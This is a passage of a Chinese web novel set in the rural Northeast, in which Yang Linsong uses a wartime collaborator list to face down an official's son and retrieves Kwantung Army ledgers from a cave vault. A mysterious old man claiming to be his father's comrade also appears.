便衣队伍里嗡的一下,十几颗脑袋左转右转,互相瞅了瞅,又把目光聚在那矮壮汉子身上。
“这不是老四吗?”
“还以为他失踪了,原来是被抓起来藏着了!”
“我还寻思呢,咋搜了半天,没搜着人影呢!”
郑少华的脸一下子拉得铁青,举在半空的手僵住了。
右眼皮跳了两下,连带着半边脸上的肌肉都在不受控地抽。
他猛吸了一口气,右手一松。
一直拄在雪地上的莫辛-纳甘哐当倒地。
右手顺势一劈。
咔嚓!
他从腰间抽出驳壳枪,**声同时响起。
枪口直直指向杨林松的眉心。
郑少华的声音变了调:
“不管枪咋来的!今天它就是你的催命符!”
他嘴角往两边撕开,牙根咬得嘎嘣响,额角的血管全都鼓了出来。
这不是在审案了。
是要**灭口。
周铁山的枪口往上抬了三寸,对准了郑少华的胸口。
便衣的枪口全转向周铁山。
十几把枪对一把。
院子里,只剩风雪声和心跳声搅在一块儿。
杨林松动了。
他从怀里掏出一张泛黄的纸。
上头的铅粉笔迹灰扑扑的,在车灯光下显得模模糊糊。
他没亮全,只露了个边角。
就捏着边角,举到胸口的位置。
然后抬头。
目光穿过七步远的风雪,扎在郑少华脸上。
声音轻得只有他俩听得清。
可每个字,都带着三十年冻土底下刨出来的寒气。
“你爹,一九四三年十月,在黑瞎子岭。”
停了一下。
“在日本人那里,是不是有名字?”
郑少华的瞳孔炸开了,黑仁一下子撑满了整个眼眶。
脸上的血色一层一层褪,从铁青到灰白,从灰白到蜡黄,快得吓人。
举着驳壳枪的手,从指尖开始抖,抖到手腕,抖到小臂。
枪口画着细小的圈,再也稳不住了。
他的嘴唇动了三下,没声音。
三十几年前的事。
那些埋在冻土里、烧在档案里、沉在松花江底的事。
全在那张纸上。
杨林松把纸收回怀里,动作慢到让郑少
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华的视线跟着那张纸挪了整整两秒。
“回去问问你爹,问清楚了再来。”
院子里没人吱声。
风雪刮在每个人的脸上。
郑少华握枪的手垂了下去。
他盯着杨林松看了三秒,眼底的血丝、恨意和恐惧搅在了一块儿,拧成一坨化不开的东西。
“撤。”
一个字从牙缝里挤出来。
郑少华僵硬地转身,连看都没看地上那把莫辛-纳甘一眼,踉跄着拉开吉普车门。
车门没关好,被风吹得来回晃。
便衣们面面相觑,谁都没敢出声。
最后一个便衣大着胆子,一把抓起雪地上的**,跟着十几把波波沙一起收了起来。
脚步乱糟糟地往重型卡车上撤,靴子踩在冻土上,又快又碎。
引擎轰鸣,吉普车率先倒出被撞烂的铁栅栏门,重型卡车紧随其后。
退到村口时,吉普车的副驾驶车窗摇下一半。
缩在卡车后头冻了一宿的八个便衣,一瞅见这个撤退手势,赶紧连滚带爬地翻上自己的车厢,一脚油门跟了上去。
一辆吉普,两辆重型卡车,连成了一串狼狈的车队。
尾灯在风雪里仓皇地晃了几下,拐过弯道,彻底没了影儿。
院子里重新暗下来。
不过,天快亮了。
杨林松把紫杉木大弓靠在门框上,弓弦上挂了一层细雪,亮闪闪的。
周铁山的枪口慢慢垂下来,长长吐出一口白气。他靠在另一边的门框上,大衣后面被冷汗洇透了一片。
杨大柱瘫在地上,裤裆洇了一块深色,也不知道是雪水还是别的啥。
杨林松低头看了他一眼。
“起来。”
杨大柱抬头,牙齿还在咯咯响,可眼睛里的光,跟前些天不一样了。
杨林松转身进了屋,走到炉膛前,往里塞了两块干柴。
火苗蹿起来,舔着铁皮壁嗤嗤响。
桌上,那颗熊爪牙还钉在日伪名单上,尖端嵌进了木头纹理。
杨林松把爪牙**,握在手心里,凉丝丝的。
他坐回凳子上,把弓搁在膝盖上,闭了一下眼。
郑少华会回来,这一点他清楚。
但不是今天。
因为那张纸上的名字,比十几把波波沙加在一起还沉。
炉膛里的火烧得噼啪响,热气从铁皮缝里一丝一丝往外钻。
外头的风雪小了些,灰蒙蒙的天际线上,黑瞎子岭的轮廓从云雾里露出半截。
屋里暖了。
第153章 等他来开价
风雪渐歇。
天际线上那层灰壳子裂了道口子,惨白的光漏进来,洒在院子里被撞烂的铁栅栏门上。
铁条歪七扭八,冻土上轧出两道深辙。
杨林松把熊爪牙重新塞回领口。
牙尖贴着锁骨窝,凉丝丝的。
绷了一整宿的脊背,这才算卸了劲儿。
沈雨溪站在他身后。
她一直死死攥着大衣下摆,这会儿手指一根一根松开,长长吐出一口气。
她没说话,可眼睛死死盯在杨林松后背上,一瞬都没挪开。
杨大柱杵在门口。
裤裆洇着一大块深色水渍,整个人钉在那儿一动不动。
杨林松偏了偏头,冲阿三努了努下巴。
阿三二话没说,薅着杨大柱的胳膊就拽去了后院。
五分钟后,换了条裤子的杨大柱溜了回来。
裤腰勒得他脸憋成了猪肝色,愣是没敢哼一声。
他也没往凳子上坐,缩在杨林松身后半步远的地方,脚跟并拢,脖子往领子里一缩。
站得规规矩矩,跟个刚入队的小兵蛋子似的。
------
老刘头回来了,把那矮壮汉子扔回了菜窖。
人齐了。
众人围到办公桌前。
那份铅笔拓出来的名单铺在桌面上。
周铁山食指往纸面上一戳。
“这玩意儿,出不了这间屋子。”
声音干巴巴的,把屋里刚松下来的那口气又生生顶了回去。
“拓印件不是原件。纸上的字一半靠猜一半靠蒙,拿到组织上,人家头一句就问你原件在哪疙瘩。糊成黑块的玩意儿,谁给你认?”
他手指往旁边一划,目光落在后院方向。
“老姜那口供,是刀架脖子上逼出来的。逼供信三个字,传出去不光不算数,反倒能咬你一口。私设公堂、刑讯逼供,够你蹲半辈子大牢的!”
屋里的气儿又绷得溜紧。
沈雨溪开口,声音不高,每个字却往最疼的地方戳。
“陈远山更不能动。”
她掰着手指头数:
“失踪八年的地质队员,当年郑家就想灭他的口。他一露头,对面头一件事不是跟他对质,是扣帽子。工作疏忽导致塌方事故?畏罪潜逃八年?严重点儿说,里通外国、出卖地质情报?人还没走到县城,半道就得没影儿!”
话停了一下。
“三爷九十三了,路都走不利索,更别提上审查站遭罪。”
她把铅笔搁在桌上,手指头还在微微打颤。
“人证物证,全是一碰就碎的琉璃碴子。”
杨林松坐在炉火旁,一声没吭。
火苗舔着铁皮壁嗤嗤响。
他目光落在跳动的火舌上,可盯的不是火。
脑子里翻来覆去的,是郑少华撤退前那两个动作。
看表。
隔两秒,又看表。
急了,指定是被人催着呐。
背后有根绳子拽着他,拽得老紧。
不是不想当场翻脸灭口,是不敢,来不及。
后头指定还有事儿等着他办。
------
“真是气**了!那帮当官的真是太会打太极了!”
“可不是嘛!白瞎了这一天一宿!”
门外响起一阵七嘴八舌的动静。
王大炮带着十多号村妇从公社回来了。
妇女们走到大队部院前,各自散了,嘴里嘟嘟囔囔骂骂咧咧的。
老刘头刚拔门闩,办公室的门就被哐当一下推开了。
王大炮一脸风雪打的红印子,嘴唇冻得发紫。
“前院大门咋烂成这德行?铁栅栏都撞歪了!”
没人接话。
他一屁股坐在凳子上,自个儿续了一句:
“路上还碰见姓郑的车队了。三辆车闷头往县城跑,看见我们连停都没停。我还纳闷呢,这帮王八犊子咋说撤就撤了,也没半路拦咱们。”
他扫了一圈屋里每个人的脸色。
嘴巴张了又合,把后半截话咽回去了,换个话题继续道:
“吃的!赶紧给我整点吃的!一天一宿水米没沾牙,快饿**!”
沈雨溪转身去后厨翻了两个冷窝头出来。
王大炮接过去一口咬掉半拉,牙花子上嵌着玉米碴,含含糊糊地问:“到底啥情况?”
周铁山把事儿掰碎了讲了一遍。
啪!
王大炮的巴掌拍在桌沿上,嘴里的窝头渣子蹦了沈雨溪一脸。
“怕个鸟!”
他抹了抹嘴巴,眼里全是血丝。
“趁他刚跑了,包围圈还空着,我今儿个就去省城!找老**!用部队的路子撕开他姓郑的关系网!”
他拍着胸脯:“当年老子在战壕里扛过炮的**还在!他开口说句话,顶公社十个电话!”
周铁山头都没抬。
“你单枪匹马闯省城?”
“老子一个人杀进去!”
周铁山把桌面上的窝头渣子拂了拂,声音不带一点儿温度:
“郑鸿运就在省城干部大院里坐着呢。他那些老部下老关系,从省道到火车站,关关有人。你进省城,跟肉包子进狗嘴有啥两样?半路截住你,关进学习班,这辈子都别想出来了!”
王大炮的拳头攥紧了,又松开。
嘴唇哆嗦了两下,没说出话。
------
墙角传来一声磕碰。
嗑嗒,嗑嗒。
老刘头的烟袋锅子在鞋底帮上磕了两下,把粘在里头的死灰磕了出来。
“走野路子。”
他蹲在墙根底下,两手搁在膝盖上,满是褶子的脸上,一双眯缝眼半睁半闭。
“我在黑市上攒了十几年的暗线。不走官面儿,不盖公章。把名单上的东西往外散,东北所有大小黑市还有茶馆理发店澡堂子,匿名往里撒。用唾沫星子把姓郑的底裤扒了,让他在暗地里抬不起头!”
黑皮靠在门框上,点了点头:“我也能带几条线。”
啪!
沈雨溪一巴掌拍在桌面上。
搪瓷缸子里的水晃了出来。
屋里所有人齐刷刷转过头来。
沈雨溪平时说话跟念书似的,细声细气。这一掌下去,连老刘头的烟袋锅子都停住了,嘬了一半的烟卡在嘴里。
“散出去?然后呢?”
她盯着老刘头,嘴唇绷成一条线。
“消息一撒开,郑家就知道咱们手里全打空了。底牌亮光了,他还忌惮个啥?”
她手指头戳着桌面上那份名单:
“到那时候,往村里再派一队人,把陈远山、老姜、三爷,连着咱们所有人,一锅端!扣一顶通敌造谣的帽子,连个喊冤的缝儿都找不着!”
屋里静了。
她深吸了口气,声音压下来,可每个字反倒砸得更重:
“我们现在手里最值钱的,不是这张纸。”
“是郑少华不知道,咱们到底掌握了多少东西。”
老刘头的烟袋锅子悬在嘴边,半晌没落下来。
王大炮嘴里的窝头咽了一半卡在嗓子眼儿,咳了两声,脸憋得通红。
周铁山的后背慢慢靠回了墙。
------
杨林松站了起来。
凳子腿在地上刮出一道刺耳的响。
屋里每个人的脊背都跟着紧了一下。
“不送省城,不散消息。”
他手指头往窗外一指。
“郑鸿运。四三年那会儿,怕死,当了汉奸,靠着这层皮坐了几十年大官。这号人,骨头里最怕啥?”
没人吭声。
“怕不见底。”
他拿起炉沿上的火钳,在手心颠了一下。
“**我手里到底攥了多少东西,不知道我啥时候抖出来,抖给谁看。”
火钳搁回原处,咣当一声。
“郑少华今儿个来硬的,没得手
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。枪亮出来了,没打着。名单在我手里,人证在我手里,他敢二进宫么?”
杨林松的目光从屋里每张脸上扫过去。
“再来一回,就是做贼心虚,**灭口。他落的把柄比我告他的重十倍!”
往凳子上一坐,后背往椅背上一靠。
“我不动。”
“我等他派人来找我谈。等他来开价。”
他嘴角往旁边一扯,露出点儿冷笑。
“他开的价越高,我就越清楚,他怕啥。”
王大炮张了张嘴,合上了,低头啃完手里最后那口窝头,没再吭声。
周铁山闭了一下眼,肩膀的劲儿卸了。
老刘头把空烟袋锅子往腰带上一别,蹲在墙根,嘴角勾了一下。
沈雨溪攥着的那份名单慢慢放回桌面,手指终于不抖了。
杨林松扫了一眼众人。
“各回各位,该盯哨的盯哨,该睡觉的睡觉。补一觉,等着。”
------
人散了。
白天没啥事儿。
没有电话响,没有吉普车来,连村口的狗都没叫唤一声。
杨林松让所有人轮班补觉,自个儿靠在炉膛边打了两个盹儿。
醒了就往炉子里添块柴,听着院子外头的风声。
啥也没等来。
入夜。
风又起了。
办公室里就剩杨林松和顶上一盏灯泡。
炉膛里的柴火塌了一截,火苗矮下去,把屋里的光影压得乱七八糟,墙上的影子跟着一晃一晃。
他从怀里掏出老爹的日记本。
封面已经磨得起了毛边。
翻开来,纸页脆得快散架,一碰就往下掉渣。
这本子他已经翻过太多遍了。
每一页的字迹,每一处折角,每一个墨点……闭着眼都能说出在哪儿。
翻到第十七页时。
他发现,右下角被深深折了一道。
不是随手折的。
折痕压得死死的,指甲掐出来的印子嵌进了纸茬子里。
他之前一直以为是笔记标记。
今儿个晚上,他把折角掀起来了。
他把本子挪到灯泡正下方。
折缝里,有一串极小的铅笔字符。
小到得把眼睛贴到纸面上,才能看清。
関-甲-4731-09。
两个汉字加一串数字。
笔力轻得快融进纸纹里,跟纸面本身的纹路搅在一块儿。写字的人刻意压着手腕,把铅印控得浅之又浅。
不凑近了,根本分辨不出来。
杨林松的眼珠子猛地缩了一下,死死盯着那串字符。
他站起身,走到值班室门口。
“沈雨溪,出来一下。”
三秒后,值班室门开了。
沈雨溪披着大衣进来,头发散着,脸上还带着半边枕头印子。
睡眼惺忪,但一看杨林松的表情,眼皮子立刻就抬起来了。
“你记下来的箱子编号呢?”
沈雨溪愣了一下,从贴身口袋里抽出那张手抄的清单。
杨林松把日记本摊在桌上。
折角掀开,铅笔字符露出来。
两页纸并排放着。
沈雨溪凑近,气儿一下子憋住了。
她瞪大了眼。
“関-甲?这我有印象!”
手指从清单第三行划过去,停在了一串编号上。
関-甲-4731-09。
核心库西侧最里头那个重型铁箱,铭牌上冲压出来的刻码。
跟日记折缝里的字符一个不差,丝毫不差。
杨林松五根手指头攥住了日记本的封皮,骨节咯吱响了一声。
他抬头,目光穿过窗户,落在外头黑沉沉的夜色里。
黑瞎子岭的方向,啥也看不见。
但他知道它就在那儿。
“他来开价之前,我得先下洞。”
“那个箱子里头装的玩意儿,就是扳倒他的铁证!”
第154章 这老犊子,到底是谁?
杨林松盯着那串铅笔印,眼底的光一点一点收紧。
他一把合上日记本,揣进怀里,抓起桌上的紫杉木大弓,转身就要扯开大门。
沈雨溪一把拽住他的大衣袖口:
“你不能硬闯!保密库房的铁门后头,老刘头布了细铁丝网,必须得带上他去拆陷阱!”
杨林松脚步一顿。
胸口那股急火被硬生生按了回去。
他大步走到后院,手刚搭上杂物间的门板,里头就传出一阵粗重的呼噜声。
一声接一声,打得门板都跟着颤。
杨林松手上的劲儿卸了。
白天让他去睡,他非要先把前院那扇铁栅栏门修好。
这小老头非亲非故,跟着自己把脑袋别在裤腰带上忙活了好几天,连个囫囵觉都没睡过。
他收回手,决定让老刘头睡个踏实,等天亮再进山。
------
天色微明,院子里风雪刚停。
杨林松、沈雨溪和老刘头正准备拎起工具箱出门。
笃、笃、笃。
大队部办公室的木门被敲响了。
不急不躁,三下,间隔均匀。
敲门的人,稳得住气。
屋里的空气一下子冻住了。
周铁山和王大炮的手同时摸向腰后枪套。
黑皮反手从腰后抽出短刀,猫着身子贴着墙根溜到门后。
郑鸿运的人,来了?
黑皮透过门缝盘问:“谁?报上名来!”
门外传来一道苍老却中气十足的声音:
“老刘。”
“哪个老刘?姓郑的派来的?”
“我不是姓郑的狗腿子。”门外的人顿了顿,接着道,“我是杨卫国当年的老战友,今儿个独身一人过来,就为了替老杨看看他儿子。”
屋里几人互相对了一眼。
黑皮看向杨林松。
杨林松没急着表态。
他冲沈雨溪使了个眼色,让她进里屋值班室待着,然后才抬了抬下巴,示意黑皮拉开门闩。
木门吱呀一声拉开。
门外站着一个身裹褪色军大衣的白发老人。
大衣上打了三块补丁,领口磨得泛着油光,后背微驼,眉眼间挂着一层霜雪。
不高不矮,不胖不瘦,往那儿一站,老桩子一根。
老人不慌不忙迈过门槛,从贴身衣兜里掏出一本证件。
王大炮凑前,接过。
是一本退伍证,边角磨破了皮。
他翻开封皮,目光落在照片下方的名字上。
刘德厚。
三个字扎进脑子里,王大炮的手指攥紧了证件边角。
刘德厚……这个名字他听过。
不止听过一次两次。
老杨活着的时候翻来覆去念叨:“我们连有个刘德厚,那才叫硬骨头……”
视线往上移了半寸,王大炮眉头皱了一下。
年代太久,黑白照片褪色严重,五官轮廓糊成一团。
王大炮瞅瞅照片,再瞅瞅老人的脸,视线来回跳了两遍。
他动了动嘴唇,没吱声。
杨林松面无表情,瞅着两人,也没吱声。
老人自个儿先开了口。
“三连老排长孙猴子,五零年在长津湖阵地上冻掉了三根脚趾头。”
王大炮身子一震。
“二排副铁柱子,五三年板门店停战前一天,让美国人的炮弹崩没了半张脸。”
每一个名字砸过来,王大炮的眼眶就红一分。
“还有你,王大炮。大炮,脾气跟你这外号一样臭。老杨当年常念叨你,说你这暴脾气早晚得吃亏。”
王大炮的防线塌了。
眼泪唰地淌下来,嗓子劈了:“老……老哥!刘大哥!真是您啊!当年老杨提起过您!”
老人抬手拍了拍王大炮的肩膀,力道不大,却让整间屋子的空气跟着松了下来。
众人面露敬色。
周铁山的枪,撤了。
------
老人在木头椅子上坐定。
这一坐,就跟换了个人似的。
他把杨卫国从参军到提干的履历倒背如流。
哪年入的伍,哪年提的排长,哪年调的侦察科……年月日一个都不带错的。
他还说,老杨当年在朝鲜打扫战场时,专爱从鬼子兜里摸半截烟头,夹在耳朵后头。
这细节连王大炮都不知道。
可这老人说得惟妙惟肖,头头是道。
让在场的人不信都难。
王大炮红着眼眶直拍大腿:“老哥,您这些年搁哪儿呢?咋现在才来?”
老人叹了口气,满是褶子的脸上漫过一丝疲惫。
“老了,腿脚不利索了。昨天你不是在公社闹吗?还亮出了烈士家属证明,这事儿可闹得满城皆知。我一听说林松是老杨的儿子,这就赶过来了。”
他目光越过众人,落在靠在暗处柱子上的杨林松身上,声音柔了下来。
“这孩子……长得跟老杨年轻那会儿,简直是一个模子刻出来的。”
------
杨林松没往前凑。
他靠在柱子上,双手抱胸,眼皮半耷拉着,从头到尾没插过一句话。
屋里的人都被老人的故事带着走了。
王大炮红着眼眶,周铁山在老人对面坐下,连一向谨慎的老刘头都把烟袋锅子搁下了。
只有杨林松,从老人进门的那一秒起,就没有松过半根弦。
前世在特种部队,他见过太多伪装渗透的对手。
档案背得再熟,理由说得再合理,骨子里的东西可藏不住。
他想试试他。
杨林松把目光投向五斗橱上的搪瓷缸子,刚倒的开水,正冒着白气。
他走两步,端起搪瓷缸子。
脚步不急不缓。
没走正面,也没走右侧,而是绕到老人左后方。
这角度,老人的视线绝对覆盖不到。
杨林松猛地伸出手,把滚烫的搪瓷缸子递到老人脸侧
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。
“喝口水。”
老人头都没回,左手伸出来,稳稳当当接过杯子。
杨林松的眼皮跳了一下。
他回到刚才靠的柱子旁,后背贴上去。
脸上还是没有表情,可脑子里已经翻了天。
一个从**堆里爬出来的老侦察兵,坐在陌生环境里,后背绝不会死贴椅背。
腿上的劲儿应该随时撑着才对,留一半给逃命用。
视线死角里突然递过来的东西,甭管是碗、是杯、是块烧饼,第一反应是侧身躲开,或者抬手格挡。
绝不可能连头都不回,连眼珠子都不瞟一下,就伸手去接。
这是一个老侦察兵刻在骨头缝里的本能。
哪怕退伍二十年,哪怕老到走不动道,这根弦都松不了。
可眼前这个老战友。
后背完完整整贴着椅背,两条腿平放在地上,大腿肌肉松弛,跟来串门唠嗑的老大爷没啥区别。
太齐整了。
齐整得就跟一台戏匣子似的,把杨卫国档案嚼烂了倒背如流。
可匣子本身是死的,里头没骨头。
档案上有的东西,他一个字不差。
档案上没有的东西,比如一个老兵骨头缝里的警觉,他却一样都没有。
杨林松扯了扯嘴角。
没有当场掀桌子。
他把身子往柱子上靠得更深了些,双手**大衣口袋里,一副漫不经心的样子。
安安静静看着对方往下演。
------
寒暄了一盏茶的工夫。
老人拄着膝盖站起身,准备告辞。
王大炮还想留人吃口热乎的,被老人摆手推了。
“不了。我来路远,得赶回去。”
众人送到门口。
老人一只脚跨出门槛,忽然停住。
他缓缓回过头。
那双一直浑浊温和的眼珠子,在这一瞬变了。
浊气一收,亮得吓人,死死盯在杨林松脸上。
声音压得极低,一个字一个字往外蹦。
“你爹当年那本日记,最后三页是空白的。”
“对不对?”
杨林松僵了半秒。
身子没动,手没动,脸上的肌肉也纹丝没动。
但塞在口袋里的十根手指头,全攥紧了。
日记最后三页是空白的,一个字都没有……这件事,除了他自己,没有第二个人知晓。
他从没跟任何人提过。
在座的,也没人完完整整翻过那本日记,除了他自己。
王大炮瞪大了眼,半张着嘴。
周铁山的手重新摸上枪套。
里屋门缝后头,沈雨溪的手指紧紧扣在门框上。
老人没等回答。
他拉了拉大衣领子,转身走下台阶,一步一步踩进村道上的晨雾里。
背影不急不慢,不回头。
杨林松站在门框后面,五指死死捏住门框的木棱。
这个老犊子。
到底是谁?
第155章 三十一年的阎王帖
门关上了。
门闩落进扣里,咣当一声。
炉膛里柴火崩裂。
啪。
一小截松枝炸开,火星子溅在铁皮上,一闪就灭。
王大炮眼珠子颤动,嘴巴张了合、合了张,最后憋出一句:“林松,这……”
杨林松没搭腔。
他转身走到办公桌前,从怀里掏出日记本,直接翻到底。
倒数第一页,空白。
倒数第二页,空白。
倒数第三页,空白。
一个字都没有。
他把纸页斜着迎光一照。
纸沿上,分明有一道硬拽留下的毛边。
沈雨溪从里屋出来了。
她伸手要过日记本,摊在桌上,手指按在那道毛边上,轻轻蹭了两下。
“这不只是一条压痕……”
沈雨溪抬头,声音发紧。
“最后三页根本不是空白的,是被人撕走了。”
杨林松搓了搓指腹。
撕下来的纸,去了哪儿?
那三页上,到底记了什么要命的玩意儿?
周铁山咽了口干沫,打破死寂。
“那个白毛老头知道最后三页是空白的……不对,他知道这三页被撕了!”
他后槽牙咬得嘎嘣响。
“这说明他要么亲眼见过这本原件,要么……”
“要么,他就是当年亲手撕走这三页的那个硬茬子。”杨林松冷冷接茬。
这话砸在当场,跟寒冬里往众人脖梗子灌着冰碴子一样。
老刘头的烟袋锅子定在嘴边,忘了嘬。
黑皮靠在门框上,只觉得后背心全是冷汗。
杨林松一把合上日记本,贴身揣好。
目光如刀,狠狠刮过在场每个人的脸。
“不管他是谁。”
“既然知道日记的事,就说明他跟当年那摊子烂事脱不了干系。”
他扯了扯嘴角,露出一抹极其危险的冷笑。
“郑鸿运那边还没动静,这头又冒出个不知深浅的老狐狸。这局中局,套中套,有意思了。”
杨林松走到窗边,隔着缝隙往外瞥了一眼。
村道上早就没了那个白发老头的人影。
只有被风吹乱的积雪。
他转过身,冲老刘头一挥手。
“老刘头,黑皮,带上家伙,进山。”
老刘头愣了半秒:“现在?”
“就现在。”
杨林松一把将百二十磅的紫杉木硬弓挂上肩膀,弓弦撞着扣子,脆响刺耳。
“郑鸿运还没派狗腿子来谈价,说明那老东西心里还在发虚。趁他没回过味来,咱得把那个铁箱子连底抄出来!”
他眼神转向沈雨溪。
“你留在这,死盯着电话。郑家的人要是敢强闯,想尽一切办法拖住他们。”
杨林松声音压低,字字如铁。
“一步都别让他们往山里迈。”
沈雨溪用力点点头,没多废话,转身就把桌上的那份名单塞进炉膛下面的暗格里,动作利落。
三人出了大队部。
贴着墙根往村口摸。天刚擦亮,风刀子直往骨头缝里刮。
杨林松打头阵,老刘头居中,黑皮断后。
一路没人吭声,只有军靴踏破雪壳的沉闷声响。
到了村口,杨林松脚步一顿,回头望了大队部一眼。
这老狐狸的话,就像一根滚木,死死压在胸口。
他是咋知道最后三页的?
杨林松搓了把脸,强压下涌进脑子里的疑问。
先摸出底牌,再慢慢算账。
------
熊神洞。
绕过碎石堆,三人钻进配电室暗墙后的幽长通道。
陈年霉味扑面而来。
老刘头突然顿住,整个人蹲下身。
他从袖口滑出个细铁钩,贴近被冻得发硬的泥地。
那天,他在这用细铁丝布了个要命的暗桩,只要脚背一碰,立马就得吃挂落。
黑皮用手电筒打在那些线上。
老刘头指尖刚碰到那根线。
猛一哆嗦,整个人僵成一块木头。
额头的汗珠子唰地一下冒了出来。
“杨爷。”老刘头嗓音发干,指着绊线上一处极不起眼的弯折。
“有行家走在咱们前头了。这特娘的是顶尖的光头路子,死套被顺手解了,又原模原样地给设了回去!”
一股子寒气冲上另外两人的天灵盖。
黑皮右臂还绑着布条,左手唰地拔出短刀,眼珠子瞪得凸起。
老刘头玩了一辈子套子,他的雷,别说趟过去,能看破的在这地界上都没几个。
结果竟然有人闲庭信步地解开,又大摇大摆地系上。
这简直是祖师爷来砸场子,拿捏得死死的!
杨林松眼神泛冷。
右手往腰后一抹,56式**滑落掌心。
他上身微弓,沿着岩壁向前推进。
靴底踩在碎石地上,一点杂音都没漏。
一米,三米,五米。
没有呼吸声,没有伏击点。
解开陷阱的人,甚至没留下多余的摩擦痕迹,就只是来探个虚实。
杨林松收刀回鞘,挺直了脊梁。
“人探完底,已经撤了。”他的声音又冷又稳,“稳住气,继续往装甲铁门插。”
主心骨发了话,老刘头和黑皮狂跳的心脏这才算落了地。
跨过绊索,尽头是一扇几百斤重、锈迹斑斑的日军装甲铁门。
杨林松掏出那把黄铜十字钥匙,戳进锁眼。
一锁即中。
他目光一扫地砖缝隙的异样,脚跟精准踩在死角边缘。
“咔哒!”
清脆的咬合声炸响,杨林松单臂青筋暴起,猛地一推。
铁门伴着摩擦声开了。
手电光柱撕开黑暗,直直打在核心库内。
货架上堆满灰尘,几口半开的木箱里,工业铂金反射出冷光。
杨林松连扫都没扫这些硬通货一眼,直奔角落。
叠着五个黑铁皮重箱。
从下往上。
擦去灰尘,依次比对上面的铭牌。
找到了!
関-甲-4731-09。
最上面那个。
关东军竟把那个秘密放在头一个箱子里。
杨林松拿过黑皮手中的手电光,顺着铁箱
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缝隙滑了半圈。
缝隙里,一根头发丝细的引线扣在日制九七式**的起爆管上。
是拉发**!
强开,整个洞子就得炸成活人坟。
杨林松抽刀,刀尖顺着铁皮缝一切、一抖。
铮!
引线齐斩斩断裂。
一套操作,行云流水,连两秒钟都没过。
黑皮在一旁看得直咽唾沫。就这份沾血的硬核手段,什么暗中试探的高手,在这位爷面前纯属找死。
杨林松反手用刀柄砸开挂锁。
铁箱大开。
没有金条,没有枪炮。
只有一摞裹在防潮牛皮纸里的泛黄表格。
封面上,全是日文。
杨林松一把扯开牛皮纸。
老刘头和黑皮同时凑了过来。
“还以为有什么宝贝,箱子里就躺着一叠破纸?”黑皮语气发虚。
杨林松没吭声,一页一页往下翻。
这是关东军特务机关的物资明细与接头账单。
翻到第三十七页。
最右侧的签收人空格处,粮食、**、人员押送等明细旁。
明晃晃地写着三个中文正楷。
郑鸿运。
时间,从1943年到1945年。
这老杂毛根本不是什么被逼带路的向导,他是跟小鬼子做绝户生意的核心特务!
那些死在黑瞎子岭里的抗联兄弟、地质勘探队,全是他上位的敲门砖!
平生不修善果,只爱**放火。
这姓郑的,路走到头了。
老刘头被惊得手一抖,手里的细铁钩砸在了靴面上。
黑皮张大了嘴,半天没吐出半个音。
这哪是破纸?
这是三十一年前的催命符、阎王帖!
杨林松连眼皮都没眨。
扯过一块破油布,把这沓足以掀翻整个省城的底牌包好,塞进大衣内兜。
“撤。”
两人跟着杨林松迅速退出通道。
杨林松单手挂死铁门,靴底一蹭,把痕迹抹尽。
------
刚钻出洞。
山风卷着雪粒子拍在脸上,天已经大亮了。
杨林松正要迈步,猛地收住脚。
洞口两米开外的雪地上,除了被雪完全掩盖的黑瞎子尸体,旁边还有一串脚印。
从林子里延伸过来,一直到洞口,又折身循着原路隐没了。
风没吹平,雪还新鲜。
步幅极稳,吃痛均匀。
老刘头探头一看,浑身汗**倒竖,从脚底板一直凉到后脑勺。
“杨爷……”老刘头声音都在打摆子,“来的时候你发现了没?”
杨林松摇摇头:“来的时候急,心里头想着事儿,没注意。”
老刘头眯起眼:“这码子、这深浅,跟早上来敲门那个白毛老狐狸一模一样!”
设下绊索的局、指出日记的秘,居然还抢在他们前面进了洞里?
杨林松站在雪地里,目光凝视着那串脚印。
冷风扯紧了他大衣的下摆。
“这人不简单。”
杨林松吐出一口白烟。
“他在等我。”
第156章 一沓纸换三页纸
风停了。
云层散开,天光照在院子的残雪上。
杨林松带着老刘头和黑皮踩着冻实的雪壳子,绕过后院土墙,悄没声儿地进了大队部。
杨林松大步迈进办公室,一边解开大衣扣子,一边掏出那个发硬的油布包袱。
“锁住!”
杨林松把布包扔给王大炮。
王大炮愣了一下,没多说收下包袱。
他拉开铁皮柜,把这沓证据扔进去挂上铜锁,咔嗒一声拔出钥匙。
钥匙刚离开锁眼,门外传来了敲门声。
笃,笃,笃。
声音响了三下,发闷发沉。
屋里没了声音。
沈雨溪倒抽一口气,不由自主退了半步,后背贴上了里屋的门框。
周铁山右手一翻,驳壳枪落入掌心,大拇指压开了**。
杨林松没回头,只微微抬了抬下巴。
黑皮会意,反手握住短刀,猫着腰贴墙溜到门后,扒开了门闩。
木门被推开,雪风吹进屋里。
一个白发老人站在台阶上。
还是他,那个自称刘德厚的。
他那件打着补丁的军大衣沾了不少水渍。
这次,他跨过门槛时,腰杆笔挺,脚步走得很稳。
之前来大队部伪装已经放下了。
这次,他不是那个来闲聊的老战友。
老人没看旁边端着枪的周铁山,直接把目光投在杨林松脸上。
没闲聊,没客套,开门见山:
“那个黑铁箱子,找着了吧?”
杨林松斜倚在办公桌上,双手揣在兜里。
“洞里那道绊线套子动过手脚,是你解的。”
杨林松说,不是问。
老人点点头。
“我解开进去瞅了一眼,顺手给你照原样系回去了,结打得凑合。”
他往前走去,拉开椅子坐下,双手揣进了袖管里。
“趁你们还没到,我抢先进去转了一圈。”
老刘头腿一软,烟袋掉在地上。
黑皮咬着牙。
这老头竟能赶在他们前头进洞,还能解开死结探底,然后全身而退!
老刘头心里发毛。
这老头到底是啥来头?
老人看了老刘头一眼,目光回到杨林松身上。
“你爹当年进洞瞅见那本日记后,就知道铁箱里装着啥了。”
“可惜那儿有机关,而且部队转移得急,只好先走了。”
杨林松抬头:“这些我猜到了。”
老人嘴角一咧,继续道:
“那三页纸,是你爹自己撕下来带走的。”
屋里安静了。
炉膛里的柴火崩了一声。
周铁山眉头拧**。
沈雨溪手指捏紧了衣角,嘴唇抿成一条线。
杨林松盯了老头两秒,然后挺直了后背,把手从兜里抽出来。
他长腿一迈,拽过办公桌前的一把木椅子,金刀大马地坐下,隔着桌子冷冷盯着对方。
“三页纸,现在在哪?”
声音硬邦邦的。
老头没躲他的眼神,双手依旧揣在破旧的袖管里,背脊反倒往后靠了靠,挺得更直了。
“在没亲眼瞅见那黑铁箱子里的东西之前,”
老头声音发沙,透着股死磕到底的执拗,“我就算把这把老骨头交代在这儿,也半个字都不会吐。”
屋里的空气瞬间绷紧了。
周铁山的手重新摸上了驳壳枪的枪套。
黑皮手里的短刀在衣摆后头转了半圈。
杨林松却没恼,嘴角极轻地扯了一下。
他没多磨半句废话,脑袋微偏,下巴朝着墙角的方向抬了抬。
